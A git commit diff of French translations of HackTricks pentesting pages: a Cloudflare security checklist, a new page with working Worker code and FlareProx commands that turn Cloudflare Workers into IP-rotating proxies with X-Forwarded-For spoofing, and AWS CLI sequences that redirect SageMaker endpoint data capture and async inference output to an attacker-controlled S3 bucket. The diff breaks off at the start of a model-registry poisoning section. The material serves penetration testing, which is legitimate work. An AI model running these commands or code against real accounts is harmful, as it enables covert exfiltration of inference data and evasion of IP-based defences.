Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p

This commit is contained in:
Translator
2025-10-23 13:44:43 +00:00
parent 121c3e2c72
commit 759216e76c
5 changed files with 445 additions and 159 deletions

View File

@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
Dans un compte Cloudflare, il y a certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
Dans un compte Cloudflare, il existe quelques **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Sites Web
## Sites web
Examinez chacun avec :
Vérifier chaque élément avec :
{{#ref}}
cloudflare-domains.md
@@ -16,49 +16,56 @@ cloudflare-domains.md
### Enregistrement de domaine
- [ ] Dans **`Transférer des domaines`**, vérifiez qu'il n'est pas possible de transférer un domaine.
- [ ] Dans **`Transfer Domains`** vérifier qu'il n'est pas possible de transférer un domaine.
Examinez chacun avec :
Vérifier chaque élément avec :
{{#ref}}
cloudflare-domains.md
{{#endref}}
## Analytique
## Analytics
_Je n'ai rien trouvé à vérifier pour un examen de sécurité de configuration._
_I couldn't find anything to check for a config security review._
## Pages
Sur chaque page de Cloudflare :
Sur chaque page Cloudflare :
- [ ] Vérifiez les **informations sensibles** dans le **`Journal de construction`**.
- [ ] Vérifiez les **informations sensibles** dans le **dépôt Github** assigné aux pages.
- [ ] Vérifiez le potentiel compromis du dépôt github via **injection de commande de workflow** ou compromis de `pull_request_target`. Plus d'infos sur la [**page de sécurité Github**](../github-security/).
- [ ] Vérifiez les **fonctions vulnérables** dans le répertoire `/fuctions` (s'il y en a), vérifiez les **redirections** dans le fichier `_redirects` (s'il y en a) et les **en-têtes mal configurés** dans le fichier `_headers` (s'il y en a).
- [ ] Vérifiez les **vulnérabilités** dans la **page web** via **blackbox** ou **whitebox** si vous pouvez **accéder au code**.
- [ ] Dans les détails de chaque page `/<page_id>/pages/view/blocklist/settings/functions`. Vérifiez les **informations sensibles** dans les **`Variables d'environnement`**.
- [ ] Dans la page de détails, vérifiez également la **commande de construction** et le **répertoire racine** pour des **injections potentielles** pouvant compromettre la page.
- [ ] Vérifier la présence d'**informations sensibles** dans le **`Build log`**.
- [ ] Vérifier la présence d'**informations sensibles** dans le **Github repository** assigné aux pages.
- [ ] Vérifier une compromission potentielle du repo github via **workflow command injection** ou compromission de `pull_request_target`. Plus d'infos sur la [**Github Security page**](../github-security/index.html).
- [ ] Vérifier la présence de **fonctions vulnérables** dans le répertoire `/fuctions` (si présent), vérifier les **redirections** dans le fichier `_redirects` (si présent) et les **headers mal configurés** dans le fichier `_headers` (si présent).
- [ ] Rechercher des **vulnérabilités** dans la **page web** via **blackbox** ou **whitebox** si vous pouvez **accéder au code**.
- [ ] Dans les détails de chaque page `/<page_id>/pages/view/blocklist/settings/functions`. Vérifier la présence d'**informations sensibles** dans les **`Environment variables`**.
- [ ] Dans la page de détails, vérifier également la **commande de build** et le **répertoire racine** pour des **injections potentielles** pouvant compromettre la page.
## **Workers**
Sur chaque worker de Cloudflare, vérifiez :
Sur chaque worker Cloudflare, vérifier :
- [ ] Les déclencheurs : Qu'est-ce qui fait déclencher le worker ? Un **utilisateur peut-il envoyer des données** qui seront **utilisées** par le worker ?
- [ ] Dans les **`Paramètres`**, vérifiez les **`Variables`** contenant des **informations sensibles**.
- [ ] Vérifiez le **code du worker** et recherchez des **vulnérabilités** (surtout dans les endroits où l'utilisateur peut gérer l'entrée).
- Vérifiez les SSRFs retournant la page indiquée que vous pouvez contrôler.
- Vérifiez les XSS exécutant du JS à l'intérieur d'une image svg.
- Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations obtenues à partir de l'entrée. Dans ce cas, il serait nécessaire de vérifier quelles capacités le worker a sur le bucket R2 et comment cela pourrait être abusé à partir de l'entrée utilisateur.
- [ ] Les triggers : qu'est-ce qui déclenche le worker ? Un utilisateur peut-il envoyer des données qui seront utilisées par le worker ?
- [ ] Dans les **`Settings`**, vérifier les **`Variables`** contenant des **informations sensibles**
- [ ] Vérifier le **code du worker** et rechercher des **vulnérabilités** (surtout aux endroits où l'utilisateur peut contrôler l'entrée)
Rechercher des SSRF renvoyant la page indiquée que vous pouvez contrôler
Rechercher des XSS exécutant du JS à l'intérieur d'une image svg
Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations en provenance de l'entrée. Dans ce cas, il est nécessaire de vérifier quelles capacités le worker possède sur le bucket R2 et comment cela pourrait être abusé via l'entrée utilisateur.
> [!WARNING]
> Notez qu'en règle générale, un **Worker reçoit une URL** telle que `<worker-name>.<account>.workers.dev`. L'utilisateur peut le définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL d'origine** si vous la connaissez.
> Notez que par défaut un **Worker se voit attribuer une URL** telle que `<worker-name>.<account>.workers.dev`. L'utilisateur peut la configurer sur un **sous-domaine**, mais vous pouvez toujours y accéder via cette **URL originale** si vous la connaissez.
Pour un abus pratique des Workers en tant que pass-through proxies (IP rotation, FireProx-style), consultez :
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
## R2
Sur chaque bucket R2, vérifiez :
Pour chaque bucket R2, vérifier :
- [ ] Configurez la **politique CORS**.
- [ ] Configurer la **CORS Policy**.
## Stream
@@ -68,10 +75,10 @@ TODO
TODO
## Centre de sécurité
## Security Center
- [ ] Si possible, exécutez un **scan `Security Insights`** et un **scan `Infrastructure`**, car ils **mettront en évidence** des informations intéressantes sur la **sécurité**.
- [ ] Vérifiez simplement **ces informations** pour des erreurs de configuration de sécurité et des informations intéressantes.
- [ ] Si possible, exécuter un **`Security Insights`** **scan** et un **`Infrastructure`** **scan**, car ils mettront en évidence des informations intéressantes en termes de **sécurité**.
- [ ] Vérifier simplement ces informations pour détecter des mauvaises configurations de sécurité et des informations intéressantes
## Turnstile
@@ -83,52 +90,52 @@ TODO
cloudflare-zero-trust-network.md
{{#endref}}
## Redirections en masse
## Bulk Redirects
> [!NOTE]
> Contrairement aux [Redirections dynamiques](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), les [**Redirections en masse**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — elles ne prennent pas en charge les opérations de remplacement de chaîne ou les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement d'exécution.
> Contrairement à [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — elles ne prennent **pas en charge d'opérations de remplacement de chaîne** ni les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement à l'exécution.
- [ ] Vérifiez que les **expressions** et les **exigences** pour les redirections **ont du sens**.
- [ ] Vérifiez également les **points de terminaison cachés sensibles** qui contiennent des informations intéressantes.
- [ ] Vérifier que les **expressions** et les **exigences** pour les redirections **ont du sens**.
- [ ] Vérifier également la présence d'**endpoints cachés sensibles** qui contiennent des informations intéressantes.
## Notifications
- [ ] Vérifiez les **notifications.** Ces notifications sont recommandées pour la sécurité :
- `Facturation basée sur l'utilisation`
- `Alerte d'attaque DDoS HTTP`
- `Alerte d'attaque DDoS de couche 3/4`
- `Alerte d'attaque DDoS HTTP avancée`
- `Alerte d'attaque DDoS de couche 3/4 avancée`
- `Surveillance basée sur le flux : attaque volumétrique`
- `Alerte de détection de fuite de route`
- `Alerte d'expiration de certificat mTLS d'accès`
- `Alerte SSL pour les noms d'hôtes personnalisés SaaS`
- `Alerte SSL universel`
- `Alerte de détection de changement de code nouveau dans le moniteur de script`
- `Alerte de nouveau domaine dans le moniteur de script`
- `Alerte de nouveau domaine malveillant dans le moniteur de script`
- `Alerte de nouveau script malveillant dans le moniteur de script`
- `Alerte de nouvelle URL malveillante dans le moniteur de script`
- `Alerte de nouveaux scripts dans le moniteur de script`
- `Alerte de nouveau script dépassant la longueur maximale de l'URL dans le moniteur de script`
- `Alerte d'événements de sécurité avancés`
- `Alerte d'événements de sécurité`
- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (authentification http de base) dans les urls de webhook. Assurez-vous également que les urls de webhook utilisent **HTTPS**.
- [ ] En vérification supplémentaire, vous pourriez essayer de **imiter une notification Cloudflare** à un tiers, peut-être que vous pouvez d'une manière ou d'une autre **injecter quelque chose de dangereux**.
- [ ] Vérifier les **notifications.** Ces notifications sont recommandées pour la sécurité :
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Vérifier toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (basic http auth) dans les webhook urls. Assurez-vous également que les webhook urls utilisent **HTTPS**
- [ ] En vérification supplémentaire, vous pouvez tenter d'**usurper une notification cloudflare** vers un tiers, peut-être pouvez-vous injecter quelque chose de dangereux
## Gérer le compte
## Manage Account
- [ ] Il est possible de voir les **4 derniers chiffres de la carte de crédit**, la **date d'expiration** et l'**adresse de facturation** dans **`Facturation` -> `Informations de paiement`**.
- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Facturation` -> `Abonnements`**.
- [ ] Dans **`Membres`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Entreprise, seuls 2 rôles existent : Administrateur et Super Administrateur. Mais si le **plan utilisé est Entreprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège.
- Par conséquent, chaque fois que cela est possible, il est **recommandé** d'utiliser le **plan Entreprise**.
- [ ] Dans Membres, il est possible de vérifier quels **membres** ont **2FA activé**. **Chaque** utilisateur devrait l'avoir activé.
- [ ] Il est possible de voir les **4 derniers chiffres de la carte**, la date **d'expiration** et l'**adresse de facturation** dans **`Billing` -> `Payment info`**.
- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Billing` -> `Subscriptions`**.
- [ ] Dans **`Members`** il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Enterprise, seuls 2 rôles existent : Administrator et Super Administrator. Mais si le **plan utilisé est Enterprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège.
- Donc, chaque fois que possible, il est **recommandé** d'utiliser le **plan Enterprise**.
- [ ] Dans Members, il est possible de vérifier quels **membres** ont la **2FA activée**. **Chaque** utilisateur devrait l'avoir activée.
> [!NOTE]
> Notez qu'il est heureusement que le rôle **`Administrateur`** ne donne pas de permissions pour gérer les adhésions (**ne peut pas élever les privilèges ou inviter** de nouveaux membres).
> Notez que, fort heureusement, le rôle **`Administrator`** n'accorde pas la permission de gérer les adhésions (ne peut pas escalader les privilèges ni inviter de nouveaux membres)
## Enquête DDoS
## DDoS Investigation
[Consultez cette partie](cloudflare-domains.md#cloudflare-ddos-protection).
[Vérifiez cette partie](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,286 @@
# Abuser Cloudflare Workers en tant que proxies pass-through (rotation d'IP, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers peuvent être déployés comme des proxies HTTP pass-through transparents où l'URL cible upstream est fournie par le client. Les requêtes sortent du réseau Cloudflare, de sorte que la cible observe les IPs de Cloudflare au lieu de celles du client. Cela reflète la technique bien connue FireProx sur AWS API Gateway, mais utilise Cloudflare Workers.
### Fonctionnalités clés
- Support de toutes les méthodes HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- La cible peut être fournie via un paramètre de requête (?url=...), un header (X-Target-URL), ou même encodée dans le chemin (par ex. /https://target)
- Les headers et le body sont proxifiés avec filtrage des headers hop-by-hop/nécessaires
- Les réponses sont renvoyées au client en préservant le code de statut et la plupart des headers
- Possibilité facultative de spoofing de X-Forwarded-For (si le Worker le définit à partir d'un header contrôlé par l'utilisateur)
- Rotation extrêmement rapide/aisée en déployant plusieurs endpoints Worker et en répartissant les requêtes
### Comment ça fonctionne (flux)
1) Le client envoie une requête HTTP à une URL Worker (`<name>.<account>.workers.dev` ou une route de domaine custom).
2) Le Worker extrait la cible soit depuis un paramètre de requête (?url=...), le header X-Target-URL, ou un segment de chemin si implémenté.
3) Le Worker relaie la méthode entrante, les headers et le body vers l'URL upstream spécifiée (en filtrant les headers problématiques).
4) La réponse upstream est streamée de retour vers le client via Cloudflare ; l'origine voit les IPs d'egress de Cloudflare.
### Exemple d'implémentation du Worker
- Lit l'URL cible depuis le paramètre de requête, le header, ou le chemin
- Copie un sous-ensemble sûr de headers et relaie la méthode/body original(e)
- Optionnellement définit X-Forwarded-For en utilisant un header contrôlé par l'utilisateur (X-My-X-Forwarded-For) ou une IP aléatoire
- Ajoute un CORS permissif et gère les preflight
<details>
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Automatiser le déploiement et la rotation avec FlareProx
FlareProx est un outil Python qui utilise l'API Cloudflare pour déployer de nombreux Worker endpoints et effectuer une rotation entre eux. Cela fournit une rotation d'IP de type FireProx depuis le réseau Cloudflare.
Configuration
1) Créez un Cloudflare API Token en utilisant le modèle “Edit Cloudflare Workers” et récupérez votre Account ID depuis le tableau de bord.
2) Configurez FlareProx :
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Créer le fichier de configuration flareprox.json :**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**Utilisation CLI**
- Créer N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- Lister les endpoints :
```bash
python3 flareprox.py list
```
- Points de terminaison de test de santé :
```bash
python3 flareprox.py test
```
- Supprimer tous les endpoints :
```bash
python3 flareprox.py cleanup
```
**Routage du trafic via un Worker**
- Forme du paramètre de requête:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Format de l'en-tête:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Format de chemin (si implémenté):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Exemples de méthodes:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` contrôle**
Si le Worker prend en compte `X-My-X-Forwarded-For`, vous pouvez influencer la valeur en amont `X-Forwarded-For` :
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Utilisation programmatique**
Utilisez la bibliothèque FlareProx pour créer/lister/t tester des endpoints et router des requêtes depuis Python.
<details>
<summary>Exemple Python: envoyer un POST via un endpoint Worker aléatoire</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner intégration**
- Pointez les outils (par exemple, Burp Suite) vers l'URL du Worker.
- Fournissez l'upstream réel en utilisant ?url= ou X-Target-URL.
- HTTP semantics (methods/headers/body) are preserved while masking your source IP behind Cloudflare.
**Notes opérationnelles et limites**
- Cloudflare Workers Free plan allows roughly 100,000 requests/day per account; use multiple endpoints to distribute traffic if needed.
- Les Workers s'exécutent sur le réseau de Cloudflare ; de nombreuses cibles ne verront que les Cloudflare IPs/ASN, ce qui peut contourner des listes allow/deny IP naïves ou des heuristiques géographiques.
- Utilisez de manière responsable et uniquement avec autorisation. Respectez les ToS et robots.txt.
## Références
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
## Siphonnage de données d'endpoint SageMaker via UpdateEndpoint DataCaptureConfig
Abuser de la gestion des endpoints SageMaker pour activer la capture complète des requêtes/réponses vers un S3 bucket contrôlé par un attaquant sans toucher le model ou le container. Utilise une rolling update zéro/faible temps d'arrêt et ne nécessite que des permissions de gestion d'endpoint.
Abuser de la gestion des endpoints SageMaker pour activer la capture complète des requêtes/réponses vers un bucket S3 contrôlé par un attaquant sans toucher au modèle ni au container. Utilise une mise à jour progressive (rolling) à disponibilité zéro/faible et ne nécessite que des permissions de gestion d'endpoint.
### Prérequis
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (ou utiliser un bucket existant dans le même compte)
- Optionnel (si utilisation de SSEKMS): `kms:Encrypt` sur la CMK choisie
- Cible : un endpoint realtime InService existant dans le même compte/région
- Cible : un endpoint temps réel InService existant dans le même compte/région
### Étapes
1) Identifier un endpoint InService et rassembler les variantes de production actuelles
1) Identifier un endpoint InService et récupérer les variantes de production actuelles
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Préparer la destination S3 de l'attaquant pour les captures
2) Préparer la destination S3 de l'attacker pour les captures
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Créez un nouvel EndpointConfig qui conserve les mêmes variants mais active DataCapture vers le attacker bucket
3) Créez un nouvel EndpointConfig qui conserve les mêmes variants mais active DataCapture vers l'attacker bucket
Note : Utilisez des content types explicites qui satisfont la validation du CLI.
Remarque : utilisez des types de contenu explicites qui satisfont la validation CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Appliquer la nouvelle config via un rolling update (interruption minimale / aucune interruption)
4) Appliquer la nouvelle config avec un rolling update (minimal/no downtime)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Générer au moins un appel d'inférence (optionnel si du trafic en direct existe)
5) Générez au moins un appel d'inférence (optionnel si du trafic en direct existe)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Valider les captures dans attacker S3
6) Valider les captures dans le S3 de l'attaquant
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impact
- Exfiltration complète des payloads des requêtes et réponses d'inférence en temps réel (et des métadonnées) depuis l'endpoint ciblé vers un bucket S3 contrôlé par l'attaquant.
- Aucun changement au model/container image et seulement des modifications au niveau de l'endpoint, ce qui permet un vol de données discret avec une perturbation opérationnelle minimale.
- Exfiltration complète des payloads de requêtes et de réponses d'inference en temps réel (et des métadonnées) depuis l'endpoint ciblé vers un bucket S3 contrôlé par l'attaquant.
- Aucune modification de l'image du model/container et uniquement des changements au niveau de l'endpoint, permettant un vol de données furtif avec une perturbation opérationnelle minimale.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abuser de la gestion de l'endpoint pour rediriger les sorties d'inférence asynchrones vers un bucket S3 contrôlé par l'attaquant en clonant l'EndpointConfig actuel et en définissant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Cela exfiltre les prédictions du modèle (et tout input transformé inclus par le container) sans modifier le model/container.
Abuse endpoint management to redirect asynchronous inference outputs to an attacker-controlled S3 bucket by cloning the current EndpointConfig and setting AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
### Requirements
### Prérequis
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Ability to write to the attacker S3 bucket (via the model execution role or a permissive bucket policy)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
- S3: Capacité d'écriture sur le bucket S3 contrôlé par l'attaquant (via le rôle d'exécution du modèle ou une stratégie de bucket permissive)
- Cible: un endpoint InService où des invocations asynchrones sont (ou seront) utilisées
### Steps
1) Récupérer les ProductionVariants actuelles de l'endpoint cible
### Étapes
1) Récupérer les ProductionVariants actuelles depuis l'endpoint ciblé
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Créer un attacker bucket (assurez-vous que le model execution role peut PutObject vers celui-ci)
2) Créez un bucket de l'attaquant (assurez-vous que le rôle d'exécution du modèle peut PutObject dessus)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Cloner EndpointConfig et hijack les outputs d'AsyncInference vers le bucket de l'attaquant
3) Cloner EndpointConfig et détourner les sorties AsyncInference vers le attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Déclencher une invocation asynchrone et vérifier que les objets arrivent dans le S3 de l'attaquant
4) Déclencher une invocation async et vérifier que des objets atterrissent dans attacker S3
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,20 +117,20 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Impact
- Redirige les résultats d'inférence asynchrones (et les corps d'erreur) vers un S3 contrôlé par l'attaquant, permettant l'exfiltration clandestine des prédictions et des entrées potentiellement sensibles pré/post-traitées produites par le conteneur, sans modifier le code du modèle ou l'image et avec peu ou pas de temps d'arrêt.
- Redirige les résultats d'inférence asynchrone (et les corps d'erreur) vers un S3 contrôlé par l'attaquant, permettant l'exfiltration furtive des prédictions et potentiellement des entrées pré/post-traitées sensibles produites par le conteneur, sans modifier le code ou l'image du modèle et avec un temps d'arrêt minimal/aucun.
## SageMaker Model Registry injection dans la chaîne d'approvisionnement via CreateModelPackage(Approved)
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Si un attaquant peut CreateModelPackage sur un SageMaker Model Package Group cible, il peut enregistrer une nouvelle version du modèle qui pointe vers une image de conteneur contrôlée par l'attaquant et la marquer immédiatement comme Approved. De nombreux pipelines CI/CD déploient automatiquement les versions de modèles Approved vers des endpoints ou des training jobs, entraînant l'exécution de code de l'attaquant sous les rôles d'exécution du service. L'exposition inter-comptes peut être amplifiée par une stratégie de ressource ModelPackageGroup permissive.
Si un attaquant peut exécuter CreateModelPackage sur un Model Package Group cible de SageMaker, il peut enregistrer une nouvelle version du modèle qui pointe vers une image de conteneur contrôlée par l'attaquant et la marquer immédiatement Approved. De nombreuses pipelines CI/CD déploient automatiquement les versions Approved des modèles vers des endpoints ou des training jobs, entraînant l'exécution du code de l'attaquant sous les rôles d'exécution du service. L'exposition inter-comptes peut être amplifiée par une politique de ressource ModelPackageGroup permissive.
### Requirements
- IAM (minimum pour empoisonner un groupe existant) : `sagemaker:CreateModelPackage` sur le ModelPackageGroup cible
- Optionnel (pour créer un groupe si aucun n'existe) : `sagemaker:CreateModelPackageGroup`
- S3 : accès en lecture au ModelDataUrl référencé (ou héberger des artefacts contrôlés par l'attaquant)
### Prérequis
- IAM (minimum to poison an existing group) : `sagemaker:CreateModelPackage` sur le ModelPackageGroup cible
- Optionnel (pour créer un Model Package Group si aucun n'existe) : `sagemaker:CreateModelPackageGroup`
- S3 : Accès en lecture au ModelDataUrl référencé (ou héberger des artefacts contrôlés par l'attaquant)
- Cible : un Model Package Group que l'automatisation en aval surveille pour les versions Approved
### Steps
### Étapes
